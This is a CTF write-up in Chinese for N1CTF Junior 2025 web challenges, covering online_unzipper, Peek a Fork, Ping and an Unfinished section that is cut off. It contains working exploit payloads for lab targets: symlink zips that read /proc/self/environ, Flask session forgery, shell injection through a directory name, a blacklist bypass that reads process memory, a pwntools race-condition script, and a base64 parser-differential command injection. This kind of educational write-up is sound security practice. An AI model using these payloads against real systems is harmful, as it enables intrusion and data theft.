N1CTF Junior 2025 2/2

online_unzipper

源码

import os
import uuid
from flask import Flask, request, redirect, url_for,send_file,render_template, session, send_from_directory, abort, Response

app = Flask(__name__)
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")
UPLOAD_FOLDER = os.path.join(os.getcwd(), "uploads")
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

users = {}

@app.route("/")
def index():
if "username" not in session:
return redirect(url_for("login"))
return redirect(url_for("upload"))

@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]

if username in users:
return "用户名已存在"

users[username] = {"password": password, "role": "user"}
return redirect(url_for("login"))

return render_template("register.html")

@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]

if username in users and users[username]["password"] == password:
session["username"] = username
session["role"] = users[username]["role"]
return redirect(url_for("upload"))
else:
return "用户名或密码错误"

return render_template("login.html")

@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("login"))

@app.route("/upload", methods=["GET", "POST"])
def upload():
if "username" not in session:
return redirect(url_for("login"))

if request.method == "POST":
file = request.files["file"]
if not file:
return "未选择文件"

role = session["role"]

if role == "admin":
dirname = request.form.get("dirname") or str(uuid.uuid4())
else:
dirname = str(uuid.uuid4())

target_dir = os.path.join(UPLOAD_FOLDER, dirname)
os.makedirs(target_dir, exist_ok=True)

zip_path = os.path.join(target_dir, "upload.zip")
file.save(zip_path)

try:
os.system(f"unzip -o {zip_path} -d {target_dir}")
except:
return "解压失败,请检查文件格式"

os.remove(zip_path)
return f"解压完成!<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>"

return render_template("upload.html")

@app.route("/download/<folder>")
def download(folder):
target_dir = os.path.join(UPLOAD_FOLDER, folder)
if not os.path.exists(target_dir):
abort(404)

files = os.listdir(target_dir)
return render_template("download.html", folder=folder, files=files)

@app.route("/download/<folder>/<filename>")
def download_file(folder, filename):
file_path = os.path.join(UPLOAD_FOLDER, folder ,filename)
try:
with open(file_path, 'r') as file:
content = file.read()
return Response(
content,
mimetype="application/octet-stream",
headers={
"Content-Disposition": f"attachment; filename={filename}"
}
)
except FileNotFoundError:
return "File not found", 404
except Exception as e:
return f"Error: {str(e)}", 500


if __name__ == "__main__":
app.run(host="0.0.0.0")

关键代码:

app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")

说明key在环境里面

关键代码:

os.system(f"unzip -o {zip_path} -d {target_dir}")

说明 这里有命令执行,而且输入参数dirnameadmin可控的,可以拼接命令执行

进入后是一个登录界面,肯定需要session伪造提权

先随便注册一个用户登录

解码后是{“role”:”user”,”username”:”1”}

需要寻找key

登录进去是一个zip解压

这里可以软链接任意文件读取,软连接文件它不是一个独立的文件,而是一个指向其他文件 / 目录的 “路径指针”

读取 /proc/self/environ

ln -s /proc/self/environ jato #创造软链接
zip -y ln.zip jato #创建一个压缩包,使用-y参数以保证打包的是一个软链接文件
ln.zip #上传直接访问里面的jato就能获取到环境变量文件

拿到FLASK_SECRET_KEY=test

HOSTNAME=72e5f5bda504 HOME=/root GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D PYTHON_SHA256=8fb5f9fbc7609fa822cb31549884575db7fd9657cbffb89510b5d7975963a83a FLASK_APP=app.py FLASK_RUN_HOST=0.0.0.0 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin LANG=C.UTF-8 FLASK_SECRET_KEY=test PYTHON_VERSION=3.11.13 PWD=/app FLAG= 

伪造为admin

成为管理员后可指定上传文件的位置,在文件位置后面可以插入rce

这里随便上传一个文件,然后读取根目录

test;ls / > /app/1.txt

构造软连接,去访问结果存放的位置

ln -s /app/1.txt jato2 
zip -y cm.zip jato2

成功读到根目录,可能是环境问题没有flag,但后续方法是一样的

test;cat /f* > /app/2.txt
ln -s /app/2.txt jato3
zip -y cmd.zip jato3

可以拿到flag

Peek a Fork

源码

import socket
import os
import hashlib
import fcntl
import re
import mmap

with open('flag.txt', 'rb') as f:
flag = f.read()
mm = mmap.mmap(-1, len(flag))
mm.write(flag)
os.remove('flag.txt')

FORBIDDEN = [b'flag', b'proc', b'<', b'>', b'^', b"'", b'"', b'..', b'./']
PAGE = """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Secure Gateway</title>
<style>
body { font-family: 'Courier New', monospace; background-color: #0c0c0c; color: #00ff00; text-align: center; margin-top: 10%; }
.container { border: 1px solid #00ff00; padding: 2rem; display: inline-block; }
h1 { font-size: 2.5rem; text-shadow: 0 0 5px #00ff00; }
p { font-size: 1.2rem; }
.status { color: #ffff00; }
</style>
</head>
<body>
<div class="container">
<h1>Firewall</h1>
<p class="status">STATUS: All systems operational.</p>
<p>Your connection has been inspected.</p>
</div>
</body>
</html>"""

def handle_connection(conn, addr, log, factor=1):
try:
conn.settimeout(10.0)

if log:
with open('log.txt', 'a') as f:
fcntl.flock(f, fcntl.LOCK_EX)
log_bytes = f"{addr[0]}:{str(addr[1])}:{str(conn)}".encode()
for _ in range(factor):
log_bytes = hashlib.sha3_256(log_bytes).digest()
log_entry = log_bytes.hex() + "\n"
f.write(log_entry)

request_data = conn.recv(256)
if not request_data.startswith(b"GET /"):
response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
conn.sendall(response)
return
try:
path = request_data.split(b' ')[1]
pattern = rb'\?offset=(\d+)&length=(\d+)'

offset = 0
length = -1

match = re.search(pattern, path)

if match:
offset = int(match.group(1).decode())
length = int(match.group(2).decode())

clean_path = re.sub(pattern, b'', path)
filename = clean_path.strip(b'/').decode()
else:
filename = path.strip(b'/').decode()

except Exception:
response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
conn.sendall(response)
return

if not filename:
response_body = PAGE
response_status = "200 OK"
else:
try:
with open(os.path.normpath(filename), 'rb') as f:
if offset > 0:
f.seek(offset)

data_bytes = f.read(length)
response_body = data_bytes.decode('utf-8', 'ignore')
response_status = "200 OK"
except Exception as e:
response_body = f"Invalid path"
response_status = "500 Internal Server Error"

response = f"HTTP/1.1 {response_status}\r\nContent-Length: {len(response_body)}\r\n\r\n{response_body}"
conn.sendall(response.encode())

except Exception:
pass
finally:
conn.close()
os._exit(0)

def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 1337))
server.listen(50)
print(f"Server listening on port 1337...")

while True:
try:
pid, status = os.waitpid(-1, os.WNOHANG)
except ChildProcessError:
pass
conn, addr = server.accept()

initial_data = conn.recv(256, socket.MSG_PEEK)
if any(term in initial_data.lower() for term in FORBIDDEN):
conn.sendall(b"HTTP/1.1 403 Forbidden\r\n\r\nSuspicious request pattern detected.")
conn.close()
continue

if initial_data.startswith(b'GET /?log=1'):
try:
factor = 1
pattern = rb"&factor=(\d+)"
match = re.search(pattern, initial_data)
if match:
factor = int(match.group(1).decode())
pid = os.fork()
if pid == 0:
server.close()
handle_connection(conn, addr, True, factor)
except Exception as e:
print("[ERROR]: ", e)
finally:
conn.close()
continue
else:
pid = os.fork()
if pid == 0:
server.close()
handle_connection(conn, addr, False)

conn.close()

if __name__ == '__main__':
main()

总体功能上,这是一个伪HTTP解析器,实现了任意文件读取的功能,同时还可以通过url参数offsetlength读取文件的特定部分,并且还有一个日志记录功能/?log=1

offset:偏移量,以 字节(bytes) 为单位。对文件/设备/内存来说,f.seek(offset) 会把文件指针移动到从文件头(或设备起始)算起的 offset 字节处。如果是在 /proc/self/mem 上,offset 被当作进程虚拟地址空间的绝对地址(也就是内存地址的十进制表示)。

length:要读取的字节数。f.read(length) 会读出 length 字节。若 length 为负(例如默认的 -1),通常表示读到文件末尾(read(-1) -> read all remaining)。

整体流程:

1.服务器先用 path = request_data.split(b' ')[1] 得到原始 path(包含所有 ?offset=...&length=... 段)。

2.用 re.search(pattern, path) 找到 ?offset=(\d+)&length=(\d+),并把捕获到的数字转为 offset 和 length(也就是先读取数值)。

3.再用 clean_path = re.sub(pattern, b'', path) 把 匹配到的那一整段 从 path 中删掉,剩下的就是用于 filename = clean_path.strip(b'/').decode() 的内容。

4.最终服务器会用之前读取到的 offset/length 做 f.seek(offset)、f.read(length),而 filename(删除后剩下的字符串)则用于 open(filename, 'rb')

关键代码:

with open('flag.txt', 'rb') as f:
flag = f.read()
mm = mmap.mmap(-1, len(flag))
mm.write(flag)
os.remove('flag.txt')

虽然flag.txt 从磁盘删除了;但内存里还有两份敏感数据:

flag 变量(一个 bytes 对象);

mm 内存映射里的数据。

而内存数据主要存储在/proc/self/mem,但没有权限不能直接读,所以 得先读/proc/self/maps(内存映射)

非预期

同时这道题设有过滤

FORBIDDEN = [b'flag', b'proc', b'<', b'>', b'^', b"'", b'"', b'..', b'./']

源码中写到

path = request_data.split(b' ')[1]
pattern = rb'\?offset=(\d+)&length=(\d+)'

offset = 0
length = -1

match = re.search(pattern, path)

if match:
offset = int(match.group(1).decode())
length = int(match.group(2).decode())

clean_path = re.sub(pattern, b'', path)

这里获取clean_path的逻辑是先匹配到?offset=(\d+)&length=(\d+),然后从path里面把这一整串给去除掉

由于 匹配直接替换为空 存在风险,我们可以绕过

比如:

path = rb"/pro?offset=1&length=1c"
clean_path = b"/proc"
filename="proc"

这样就可以绕过黑名单传入proc , 而且proc在根目录所以要目录穿越一下

/.?offset=0&length=100000.?offset=0&length=10000/pro?offset=0&length=100000c/self/maps

翻译过来相当于../proc/self/maps

得到

55a1758e8000-55a1758e9000 r--p 00000000 08:30 141483                     /usr/local/bin/python3.12
55a1758e9000-55a1758ea000 r-xp 00001000 08:30 141483 /usr/local/bin/python3.12
55a1758ea000-55a1758eb000 r--p 00002000 08:30 141483 /usr/local/bin/python3.12
55a1758eb000-55a1758ec000 r--p 00002000 08:30 141483 /usr/local/bin/python3.12
55a1758ec000-55a1758ed000 rw-p 00003000 08:30 141483 /usr/local/bin/python3.12
55a1abfe2000-55a1ac432000 rw-p 00000000 00:00 0 [heap]
7fde7dc52000-7fde7dc54000 r--p 00000000 08:30 142254 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fde7dc54000-7fde7dc57000 r-xp 00002000 08:30 142254 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fde7dc57000-7fde7dc59000 r--p 00005000 08:30 142254 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fde7dc59000-7fde7dc5a000 r--p 00006000 08:30 142254 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fde7dc5a000-7fde7dc5b000 rw-p 00007000 08:30 142254 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fde7dc5b000-7fde7dc5d000 r--p 00000000 08:30 142192 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fde7dc5d000-7fde7dc64000 r-xp 00002000 08:30 142192 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fde7dc64000-7fde7dc66000 r--p 00009000 08:30 142192 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fde7dc66000-7fde7dc67000 r--p 0000a000 08:30 142192 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fde7dc67000-7fde7dc68000 rw-p 0000b000 08:30 142192 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fde7dc68000-7fde7dc6d000 r--p 00000000 08:30 93845 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fde7dc6d000-7fde7dd1c000 r-xp 00005000 08:30 93845 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fde7dd1c000-7fde7dd30000 r--p 000b4000 08:30 93845 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fde7dd30000-7fde7dd31000 r--p 000c8000 08:30 93845 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fde7dd31000-7fde7dd32000 rw-p 000c9000 08:30 93845 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fde7dd32000-7fde7dd35000 r--p 00000000 08:30 93843 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fde7dd35000-7fde7dd49000 r-xp 00003000 08:30 93843 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fde7dd49000-7fde7dd50000 r--p 00017000 08:30 93843 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fde7dd50000-7fde7dd51000 r--p 0001d000 08:30 93843 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fde7dd51000-7fde7dd52000 rw-p 0001e000 08:30 93843 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fde7dd52000-7fde7de49000 r--p 00000000 08:30 93770 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fde7de49000-7fde7e1ca000 r-xp 000f7000 08:30 93770 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fde7e1ca000-7fde7e301000 r--p 00478000 08:30 93770 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fde7e301000-7fde7e384000 r--p 005ae000 08:30 93770 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fde7e384000-7fde7e387000 rw-p 00631000 08:30 93770 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fde7e387000-7fde7e48a000 rw-p 00000000 00:00 0
7fde7e48c000-7fde7e48d000 r--p 00000000 08:30 142251 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fde7e48d000-7fde7e48f000 r-xp 00001000 08:30 142251 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fde7e48f000-7fde7e491000 r--p 00003000 08:30 142251 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fde7e491000-7fde7e492000 r--p 00004000 08:30 142251 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fde7e492000-7fde7e493000 rw-p 00005000 08:30 142251 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fde7e493000-7fde7e497000 r--p 00000000 08:30 142212 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fde7e497000-7fde7e49d000 r-xp 00004000 08:30 142212 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fde7e49d000-7fde7e4a1000 r--p 0000a000 08:30 142212 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fde7e4a1000-7fde7e4a2000 r--p 0000d000 08:30 142212 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fde7e4a2000-7fde7e4a4000 rw-p 0000e000 08:30 142212 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fde7e4a4000-7fde7e4a8000 r--p 00000000 08:30 142247 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fde7e4a8000-7fde7e4af000 r-xp 00004000 08:30 142247 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fde7e4af000-7fde7e4b3000 r--p 0000b000 08:30 142247 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fde7e4b3000-7fde7e4b4000 r--p 0000f000 08:30 142247 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fde7e4b4000-7fde7e4b5000 rw-p 00010000 08:30 142247 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fde7e4b5000-7fde7e4b7000 r--p 00000000 08:30 142259 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fde7e4b7000-7fde7e4ba000 r-xp 00002000 08:30 142259 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fde7e4ba000-7fde7e4bc000 r--p 00005000 08:30 142259 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fde7e4bc000-7fde7e4bd000 r--p 00006000 08:30 142259 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fde7e4bd000-7fde7e4be000 rw-p 00007000 08:30 142259 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fde7e4be000-7fde7e4c1000 r--p 00000000 08:30 142253 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fde7e4c1000-7fde7e4c9000 r-xp 00003000 08:30 142253 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fde7e4c9000-7fde7e4ce000 r--p 0000b000 08:30 142253 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fde7e4ce000-7fde7e4cf000 r--p 0000f000 08:30 142253 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fde7e4cf000-7fde7e4d0000 rw-p 00010000 08:30 142253 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fde7e4d0000-7fde7e5d0000 rw-p 00000000 00:00 0
7fde7e5d0000-7fde7e5d4000 r--p 00000000 08:30 142229 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fde7e5d4000-7fde7e5df000 r-xp 00004000 08:30 142229 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fde7e5df000-7fde7e5e8000 r--p 0000f000 08:30 142229 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fde7e5e8000-7fde7e5e9000 r--p 00017000 08:30 142229 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fde7e5e9000-7fde7e5ea000 rw-p 00018000 08:30 142229 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fde7e5ea000-7fde7e850000 rw-p 00000000 00:00 0
7fde7e850000-7fde7e857000 r--s 00000000 08:30 93733 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
7fde7e857000-7fde7e8b1000 r--p 00000000 08:30 93445 /usr/lib/locale/C.utf8/LC_CTYPE
7fde7e8b1000-7fde7e8b3000 rw-p 00000000 00:00 0
7fde7e8b3000-7fde7e8c4000 r--p 00000000 08:30 93788 /usr/lib/x86_64-linux-gnu/libm.so.6
7fde7e8c4000-7fde7e941000 r-xp 00011000 08:30 93788 /usr/lib/x86_64-linux-gnu/libm.so.6
7fde7e941000-7fde7e9a1000 r--p 0008e000 08:30 93788 /usr/lib/x86_64-linux-gnu/libm.so.6
7fde7e9a1000-7fde7e9a2000 r--p 000ed000 08:30 93788 /usr/lib/x86_64-linux-gnu/libm.so.6
7fde7e9a2000-7fde7e9a3000 rw-p 000ee000 08:30 93788 /usr/lib/x86_64-linux-gnu/libm.so.6
7fde7e9a3000-7fde7e9cb000 r--p 00000000 08:30 93762 /usr/lib/x86_64-linux-gnu/libc.so.6
7fde7e9cb000-7fde7eb30000 r-xp 00028000 08:30 93762 /usr/lib/x86_64-linux-gnu/libc.so.6
7fde7eb30000-7fde7eb86000 r--p 0018d000 08:30 93762 /usr/lib/x86_64-linux-gnu/libc.so.6
7fde7eb86000-7fde7eb8a000 r--p 001e2000 08:30 93762 /usr/lib/x86_64-linux-gnu/libc.so.6
7fde7eb8a000-7fde7eb8c000 rw-p 001e6000 08:30 93762 /usr/lib/x86_64-linux-gnu/libc.so.6
7fde7eb8c000-7fde7eb99000 rw-p 00000000 00:00 0
7fde7eb9a000-7fde7eb9b000 rw-s 00000000 00:01 18432 /dev/zero (deleted)
7fde7eb9b000-7fde7ec9b000 r--p 00000000 08:30 141705 /usr/local/lib/libpython3.12.so.1.0
7fde7ec9b000-7fde7eeba000 r-xp 00100000 08:30 141705 /usr/local/lib/libpython3.12.so.1.0
7fde7eeba000-7fde7f00a000 r--p 0031f000 08:30 141705 /usr/local/lib/libpython3.12.so.1.0
7fde7f00a000-7fde7f081000 r--p 0046e000 08:30 141705 /usr/local/lib/libpython3.12.so.1.0
7fde7f081000-7fde7f1f0000 rw-p 004e5000 08:30 141705 /usr/local/lib/libpython3.12.so.1.0
7fde7f1f0000-7fde7f1f3000 rw-p 00000000 00:00 0
7fde7f1f3000-7fde7f1f4000 r--p 00000000 08:30 93742 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fde7f1f4000-7fde7f21c000 r-xp 00001000 08:30 93742 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fde7f21c000-7fde7f227000 r--p 00029000 08:30 93742 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fde7f227000-7fde7f229000 r--p 00034000 08:30 93742 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fde7f229000-7fde7f22a000 rw-p 00036000 08:30 93742 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fde7f22a000-7fde7f22b000 rw-p 00000000 00:00 0
7ffcf8f69000-7ffcf8f8a000 rw-p 00000000 00:00 0 [stack]
7ffcf8fda000-7ffcf8fde000 r--p 00000000 00:00 0 [vvar]
7ffcf8fde000-7ffcf8fe0000 r-xp 00000000 00:00 0 [vdso]

这里有一个脚本用来计算偏移和长度

import re

maps=open('maps')
b = maps.read()
list = b.split('\n')
for line in list:
if 'rw' in line:
addr = re.search('([0-9a-f]+)-([0-9a-f]+)',line)
#正则匹配地址,地址格式为十六进制数[0-9a-f],reserch会返回一个re.Match对象,用括号括起来是为了使用group()处理返回结果。
start = int(addr.group(1),16) #将十六进制字符转化为十进制数,为了符合start参数格式参考链接
end = int(addr.group(2),16) #将十六进制字符转化为十进制数,为了符合end参数格式
print(start,end)
print(end-start)

得到结果

94151950385152 94151950389248
4096
94152863653888 94152868175872
4521984
140593569570816 140593569574912
4096
140593569624064 140593569628160
4096
140593570451456 140593570455552
4096
140593570582528 140593570586624
4096
140593577082880 140593577095168
12288
140593577095168 140593578156032
1060864
140593578188800 140593578192896
4096
140593578254336 140593578262528
8192
140593578328064 140593578332160
4096
140593578364928 140593578369024
4096
140593578438656 140593578442752
4096
140593578442752 140593579491328
1048576
140593579593728 140593579597824
4096
140593579597824 140593582112768
2514944
140593582510080 140593582518272
8192
140593583497216 140593583501312
4096
140593585496064 140593585504256
8192
140593585504256 140593585557504
53248
140593585561600 140593585565696
4096
140593590702080 140593592205312
1503232
140593592205312 140593592217600
12288
140593592438784 140593592442880
4096
140593592442880 140593592446976
4096
140724485394432 140724485529600
135168

关键内存:

7fde7eb9a000-7fde7eb9b000 rw-s 00000000 00:01 18432                      /dev/zero (deleted)

140593585561600 140593585565696
4096

/dev/zero 是 Linux 的 “零字节设备”,本身不存储任何数据,但通过 mmap 映射它时,会生成一块 **初始值为 0、支持读写的内存区域 **由于 /dev/zero 映射区的特性(初始为 0、支持共享、无需关联真实文件数据),进程会通过 mmap("/dev/zero", ...) 创建这块内存,再将 flag 主动写入 到这个映射区(覆盖初始的 0 值)。

读到flag

/.?offset=140593585561600&length=4096.?offset=0&length=10000/pro?offset=0&length=100000c/self/mem
#re.search只会匹配第一个offset和length,后面的都会被删掉

预期

题目提供log日志记录功能

if initial_data.startswith(b'GET /?log=1'):
try:
factor = 1
pattern = rb"&factor=(\d+)"
match = re.search(pattern, initial_data)
if match:
factor = int(match.group(1).decode())
pid = os.fork()
if pid == 0:
server.close()
handle_connection(conn, addr, True, factor)
except Exception as e:
print("[ERROR]: ", e)
finally:
conn.close()
continue
else:
pid = os.fork()
if pid == 0:
server.close()
handle_connection(conn, addr, False)

代码里进行了两次 recv, 当该函数的参数为 MSG_PEEK 时代表只是查看数据,而不取走数据 ,所以数据会留在缓冲区

initial_data = conn.recv(256, socket.MSG_PEEK)
if any(term in initial_data.lower() for term in FORBIDDEN):
conn.sendall(b"HTTP/1.1 403 Forbidden\r\n\r\nSuspicious request pattern detected.")
conn.close()
continue

而正式读入是在 handle_connection,一旦读取则会把数据移除缓冲区

def handle_connection(conn, addr, log, factor=1):
try:
conn.settimeout(10.0)

if log:
with open('log.txt', 'a') as f:
fcntl.flock(f, fcntl.LOCK_EX)
log_bytes = f"{addr[0]}:{str(addr[1])}:{str(conn)}".encode()
for _ in range(factor):
log_bytes = hashlib.sha3_256(log_bytes).digest()
log_entry = log_bytes.hex() + "\n"
f.write(log_entry)

request_data = conn.recv(256)

在读入前,如果开了 log 模式,会优先进行 log 再读入, 因为 factor=100000,子进程会做大量哈希运算,CPU 被耗在这里 —— 在这段耗时工作进行期间,子进程没有去 **recv** 真正读取请求体。那么缓冲区中就会持续存在 GET /?log=1&factor=100000,此时如果在通过 MSG_PEEK 后缓冲区还未清除之前立刻插入 /../../../proc/self/maps , 当子进程最后调用 request_data = conn.recv(256) 时,内核缓冲区里已经是两段合并的数据:GET /?log=1&factor=100000/../../../../proc/self/maps...

from pwn import *

host = 'localhost'
port = 9202

remote1 = remote(host, port)
remote1.send(b'GET /?log=1&factor=100000')
time.sleep(0.01)
remote1.send(f'/../../../../proc/self/maps'.encode())
resp = remote1.recv()
print(resp)

同样可以读到maps,后面就同非预期解法

Ping

源码:

import base64
import subprocess
import re
import ipaddress
import flask

def run_ping(ip_base64):
try:
decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
return False
if decoded_ip.count('.') != 3:
return False

if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
return False
if not ipaddress.ip_address(decoded_ip):
return False
if len(decoded_ip) > 15:
return False
if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
return False
except Exception as e:
return False
command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

try:
process = subprocess.run(
command,
shell=True,
check=True,
capture_output=True,
text=True
)
return process.stdout
except Exception as e:
return False

app = flask.Flask(__name__)

@app.route('/ping', methods=['POST'])
def ping():
data = flask.request.json
ip_base64 = data.get('ip_base64')
if not ip_base64:
return flask.jsonify({'error': 'no ip'}), 400

result = run_ping(ip_base64)
if result:
return flask.jsonify({'success': True, 'output': result}), 200
else:
return flask.jsonify({'success': False}), 400

@app.route('/')
def index():
return flask.render_template('index.html')

app.run(host='0.0.0.0', port=5000)

过滤点总结:

  • 必须是标准 base64,禁止包含注入符号。
  • 解码结果必须是合法 IPv4或IPv6,不能夹杂命令或特殊字符。
  • 每段必须 0–255,长度 ≤15。
  • 解码后的 ip 必须是 x.x.x.x 形式
  • . 必须为三个
  • . 分隔的每部分必须能 int 转化为 0 到 256 的数
  • 最后拼接进 shell → 但因为所有过滤都限制死了,payload 最终一定是 ping -c 1 <ip> 这种形式。

几乎封死了所有的命令执行

漏洞点:

command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

ip_base64 先通过Python的base64库解码校验过滤之后,再经过Linux的命令行解码

这里便存在一个解析差异:python的base64库在解析时遇到字符串中间含有=的,会根据情况有不同的行为

python遇到字符换中有=会倾向于终止解析

import base64

text = ['SGVsbG8=SGVsbG8=', # Hello
'RU5PQ0g=RU5PQ0g=', # ENOCH
'Q1RGQ1RG', # CTF
'R29vZA==R29vZA==', # Good
]

for item in text:
print(base64.b64decode(item))

输出:
b'Hello'
b'ENOCH'
b'CTFCTF'
b'Good'

但在linux中不同:

-------------------------------------
输入 ▸ SGVsbG8=SGVsbG8=
输出 ▸ HelloHello
-------------------------------------
输入 ▸ RU5PQ0g=RU5PQ0g=
输出 ▸ ENOCHENOCH
-------------------------------------
输入 ▸ Q1RGQ1RG
输出 ▸ CTFCTF
-------------------------------------
输入 ▸ R29vZA==R29vZA==
输出 ▸ GoodGood

linux的base64遇到字符串中的=,会将其从中间拆开后分别解析。

利用这个特性,我们只需要发送两段base64,其中第一段的base64格式结尾有=,第二段则是正常的命令拼接

例如前半段是0.0.0.0后半段是;ls,拼接后则是MC4wLjAuMA==O2xz,然后将其以json格式发送即可看到命令回显

MC4wLjAuMA==O2NhdCAvZmxhZw==
#0.0.0.0;cat /flag

Unfinished

源码

from flask import Flask, request, render_template, redirect, url_for, flash, render_template_string, make_response
from flask_login import LoginManager, UserMixin, login_user, logout_user, current_user, login_required
import requests
from markupsafe import escape
from playwright.sync_api import sync_playwright
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'

login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

class User(UserMixin):
def __init__(self, id, username, password, bio=""):
self.id = id
self.username = username
self.password = password
self.bio = bio
admin_password = os.urandom(12).hex()

USERS_DB = {'admin': User(id=1, username='admin', password=admin_password)}
USER_ID_COUNTER = 1

@login_manager.user_loader
def load_user(user_id):
for user in USERS_DB.values():
if str(user.id) == user_id:
return user
return None

@app.route('/')
def index():
return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
global USER_ID_COUNTER
if request.method == 'POST':
username = request.form['username']
if username in USERS_DB:
flash('Username already exists.')
return redirect(url_for('register'))

USER_ID_COUNTER += 1
new_user = User(
id=USER_ID_COUNTER,
username=username,
password=request.form['password']
)
USERS_DB[username] = new_user
